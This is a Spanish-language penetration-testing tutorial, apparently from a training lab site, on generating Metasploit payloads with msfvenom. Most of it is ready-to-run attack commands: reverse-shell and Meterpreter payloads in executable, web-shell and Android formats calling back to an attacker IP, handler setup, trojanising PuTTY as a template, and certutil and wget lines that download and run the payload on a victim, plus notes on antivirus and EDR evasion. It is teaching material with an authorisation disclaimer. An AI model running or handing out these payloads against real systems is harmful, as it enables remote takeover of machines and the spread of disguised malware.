msfvenom: generar payloads a medida para explotación y post-explotación
· 10 min de lectura
Aprende a usar msfvenom para generar payloads en todos los formatos (exe, elf, aspx, war, raw, python, php), elegir entre staged y stageless, aplicar encoders, usar plantillas y entender por qué un payload generado tal cual rara vez pasa un antivirus moderno.
Cuando la vulnerabilidad no te deja ejecutar código directamente desde un exploit de Metasploit —porque necesitas subir un archivo a un servidor, dejar una macro en un documento, inyectar algo en una página ASP o entregar un ejecutable por ingeniería social— necesitas generar el payload tú mismo. La herramienta para eso dentro de Metasploit es msfvenom: una utilidad de línea de comandos que combina generación y codificación de payloads, y que produce archivos listos para subir o ejecutar.
Un pentester que maneja msfvenom con soltura puede crear en segundos un .exe que devuelve Meterpreter al handler, un .aspx para subir a un IIS vulnerable, una web shell en PHP, un binario Linux para un objetivo con subida de archivos, o un shellcode en C para meter dentro de su propio loader. Y, lo más importante, sabe cuándo lo que genera va a pasar un antivirus y cuándo no.
Esta lección te enseña la sintaxis básica, los formatos más usados, encoders, plantillas y las limitaciones frente a AV y EDR actuales.
Usa msfvenom solo contra sistemas propios o laboratorios autorizados como los de whoami-labs. Generar y ejecutar payloads en sistemas ajenos sin permiso es delito.
Qué es msfvenom#
msfvenom es la fusión de dos herramientas antiguas de Metasploit —msfpayload y msfencode— en un único binario. Toma un payload del catálogo de Metasploit (los mismos que usarías dentro de msfconsole), lo codifica si lo pides y lo escribe en el formato que elijas: un ejecutable, un script, un shellcode plano o un documento.

Sintaxis básica#
msfvenom -p <payload> <OPCIONES_PAYLOAD> -f <formato> -o <salida>
-p: el payload (ej.windows/x64/meterpreter/reverse_tcp).- opciones del payload:
LHOST,LPORTy otras (según el payload). -f: formato de salida (exe, elf, aspx, war, raw, php, python…).-o: archivo de salida.
Formatos de salida#
Formato (-f) | Para qué | Ejemplo |
|---|---|---|
exe | Windows ejecutable | payload.exe para engañar a un usuario o subir a un lab |
elf | Linux ejecutable | payload.elf para subir donde se pueda ejecutar |
aspx | IIS / ASP.NET | Subir a un servidor IIS vulnerable |
jsp | Tomcat / Java EE | Subir a un servidor Tomcat o similar |
war | Despliegue Tomcat | Para el manager de Tomcat |
php | PHP web shell/payload | Meter en un upload en PHP |
python | Script Python | Para víctimas con Python disponible |
raw | Shellcode plano | Para loaders C/C#, in-memory, exploits binarios |
psh | PowerShell script | One-liner para ejecutar en consola |
vba | Macro Office | Para documentos con macros |
Ejemplos prácticos#
Ejecutable Windows reverse_tcp#
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f exe -o payload.exe
Antes de lanzar la víctima, abre el handler en msfconsole:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run
Cuando se ejecute payload.exe, abre una sesión Meterpreter contra el handler.
Payload Linux ELF#
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f elf -o payload.elf
Útil cuando tienes una subida arbitraria en un servicio Linux y permiso de ejecución.
Web shell en PHP#
msfvenom -p php/reverse_php \
LHOST=10.10.14.5 LPORT=4444 \
-f raw -o shell.php
Para subir por un formulario vulnerable que no valida bien el tipo de archivo.
Payload ASPX para IIS#
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f aspx -o shell.aspx
Para un IIS con subida sin filtrar.
Payload de Android#
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
R > evil.apk
Genera una APK que, instalada en un dispositivo autorizado (laboratorio), devuelve Meterpreter.
Staged vs stageless#
Metasploit distingue dos tipos de payloads por cómo se entregan:
- Staged (
reverse_tcp,reverse_httpcon guión bajo en el nombre corto): pequeño stager inicial que contacta al handler y descarga el resto del payload. Son más ligeros pero necesitan conectividad para completar la descarga. - Stageless (
reverse_tcp, nombre tipometerpreter_reverse_tcp): el payload completo va en un solo bloque. Más grande pero no depende de descargar nada después; útil cuando la red bloquea segundas conexiones.
# Staged
-p windows/x64/meterpreter/reverse_tcp
# Stageless (fíjate en el guión bajo)
-p windows/x64/meterpreter_reverse_tcp
Encoders#
Los encoders transforman el payload para esconder patrones obvios. El más famoso es x86/shikata_ga_nai:
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-e x86/shikata_ga_nai -i 10 \
-f exe -o encoded.exe
-i 10 significa 10 iteraciones. Importante: hoy los encoders de msfvenom están completamente firmados por cualquier antivirus serio. Sirven para pasar filtros muy básicos o para esquivar cadenas prohibidas en exploits (caracteres nulos, por ejemplo), pero no para evadir AV modernos. Para eso necesitas loaders propios.
Caracteres malos#
Si el exploit no acepta ciertos bytes (típicamente \x00, \x0a, \x0d), los eliminas del shellcode con -b:
msfvenom -p windows/exec CMD=calc.exe \
-b '\x00\x0a\x0d' \
-f c
Plantillas personalizadas#
Un payload crudo de msfvenom se detecta por su estructura. Con -x le indicas una plantilla ejecutable legítima para camuflarlo:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-x /ruta/putty.exe -k \
-f exe -o payload.exe
-x usa putty.exe como plantilla, -k mantiene el flujo original (la víctima ve que PuTTY se abre normalmente). Pasa algún AV barato, sigue sin pasar un EDR serio.
Evasión real#

El camino honesto:
- Antivirus tradicional (Defender básico, pymes): encoders + plantillas aún pueden pasar.
- AV con cloud scanning: ya no sirven; la primera vez que el binario sube a la nube lo marca todo el mundo.
- EDR comercial (CrowdStrike, Sentinel, Defender Endpoint): payloads de msfvenom caen antes de ejecutarse. Hace falta loader propio con descifrado en runtime, inyección en proceso legítimo, control de syscalls directas.
- EDR + AMSI + Credential Guard + AppLocker: territorio de red teams profesionales; aquí ni Meterpreter ni msfvenom; agentes como Sliver o desarrollo a medida.
Para aprender, para CTF y para laboratorios, msfvenom es imbatible por rapidez. Para entornos reales con protecciones, es el primer paso de un camino mucho más largo.
Payloads para la web#
En auditorías web, msfvenom es la vía rápida para fabricar la web shell que vas a subir cuando descubres una subida de archivos sin validar. Los formatos web más usados en laboratorios y pentests:
# PHP meterpreter
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f raw -o shell.php
# ASP clásico (IIS antiguo)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f asp -o shell.asp
# ASPX (IIS moderno)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f aspx -o shell.aspx
# JSP (Tomcat / Jetty)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f raw -o shell.jsp
# WAR (despliegue completo Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f war -o shell.war
Cada uno asume que llegas a él de forma distinta: PHP y JSP se suben por formularios, ASPX se sirve si consigues escribir dentro de wwwroot, WAR se despliega por el manager de Tomcat. Los laboratorios de whoami-labs incluyen escenarios para practicar los cuatro.
Combinar msfvenom con otras herramientas#
msfvenom se integra bien con utilidades fuera de Metasploit. Dos combinaciones comunes:
Generar shellcode y meterlo en un loader C#
Si estás desarrollando tu propio loader para pasar antivirus más serios, msfvenom te da el shellcode listo:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f c
Salida tipo unsigned char buf[] = "\xfc\x48\x83...". Luego, en tu loader, reservas memoria, copias el shellcode y saltas a él (técnica clásica con VirtualAlloc + CreateThread, o más moderna con syscalls directas e inyección en otro proceso).
Pasar el archivo por un servidor rápido#
Después de generar el payload normalmente hay que servirlo para que la víctima lo descargue:
python3 -m http.server 8080
# En la víctima:
# wget http://10.10.14.5:8080/payload.exe
# certutil -urlcache -f http://10.10.14.5:8080/payload.exe payload.exe
Es la pareja perfecta para labs: msfvenom genera, Python sirve, handler escucha, víctima descarga y ejecuta.
Un ejemplo completo#
Para fijar el flujo, el ejemplo clásico de principio a fin en un laboratorio Windows autorizado:
Paso 1 — generar el payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f exe -o /tmp/update.exe
Paso 2 — abrir el handler en msfconsole:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set ExitOnSession false
run -j
El -j deja el handler en background: puede recibir varias sesiones.
Paso 3 — servir el payload:
cd /tmp
python3 -m http.server 8080
Paso 4 — ejecutar en la víctima (en el laboratorio, desde una shell comprometida o accediendo por otro vector):
certutil -urlcache -f http://10.10.14.5:8080/update.exe %TEMP%\update.exe
%TEMP%\update.exe
Paso 5 — recibir la sesión: en msfconsole aparece [*] Meterpreter session 1 opened. Interactuar con sessions -i 1 y ya estás dentro con todo lo que viste en la lección de Meterpreter.
Errores comunes#
- Olvidar LHOST/LPORT: el payload se genera sin ellos y nunca conecta.
- Confundir staged y stageless: si el firewall corta la segunda conexión, el staged falla sin dar pista.
- Esperar que los encoders eviten AV: no lo hacen en 2026.
- No levantar el handler antes: la víctima ejecuta, no hay nadie escuchando, se pierde la oportunidad.
- Generar payloads de 32 bits para víctimas de 64 bits o viceversa: fallan silenciosamente o dan errores raros.
Preguntas frecuentes#
¿Qué LHOST pongo?#
El IP donde está escuchando tu handler visible desde la víctima: en un lab de VPN (tun0), tu IP de tun0; en un entorno NAT, la IP pública de tu VPS con port forwarding; en una red local, tu IP interna. Si pones una IP que la víctima no puede alcanzar, no conectará nunca.
¿Cuál es la diferencia entre payload.exe y payload.dll?#
.exe es un ejecutable; .dll es una librería que necesita ser cargada por otro proceso (rundll32, regsvr32, procesos vulnerables a DLL hijacking). Las DLLs son menos obvias en algunos flujos de ingeniería social y de persistencia.
¿Cómo listo todos los payloads disponibles?#
msfvenom -l payloads
msfvenom -l formats
msfvenom -l encoders
¿Por qué mi .exe no corre en la víctima?#
Causas comunes: arquitectura equivocada (32 vs 64), antivirus activo, la víctima no tiene Visual C++ runtime necesario para el loader, o LHOST inalcanzable. Prueba primero un payload básico windows/exec CMD=calc.exe como test de detonación.
¿msfvenom pasa Windows Defender?#
Sin más, no. Defender tiene firmas para absolutamente todos los payloads que genera msfvenom con sus plantillas y encoders. Para Defender real necesitas un loader propio o un agente diseñado para OpSec.
¿Qué diferencia hay entre shell_reverse_tcp y meterpreter/reverse_tcp?#
shell_reverse_tcp entrega una shell del sistema normal (cmd o sh); meterpreter/reverse_tcp entrega una sesión Meterpreter, con todas las capacidades de post-explotación integradas. Meterpreter es más potente pero también más detectable y más pesada. Para pruebas rápidas de ejecución de código, una shell basta; para trabajar de verdad sobre el equipo, Meterpreter compensa el tamaño.
¿Puedo generar payloads que no llamen de vuelta, sino que escuchen?#
Sí: los payloads bind_tcp abren un puerto en la víctima y esperan a que tú te conectes. Útil cuando la víctima sí acepta conexiones entrantes pero tiene filtros de salida muy agresivos. La mecánica se invierte: el handler se configura con set PAYLOAD windows/x64/meterpreter/bind_tcp y set RHOST <ip-víctima>.
Resumen#
- msfvenom genera payloads para todos los formatos: exe, elf, aspx, war, raw, php, python, apk.
- Elige staged o stageless según la red del objetivo: el staged descarga en dos pasos, el stageless no.
- Encoders (
shikata_ga_nai) y plantillas (-x) ayudan con AV básicos; no evaden EDR moderno. - Para entornos protegidos de verdad se usan loaders propios o agentes como Sliver, Mythic, Cobalt Strike.
- Siempre: handler antes que detonación, y LHOST/LPORT correctos.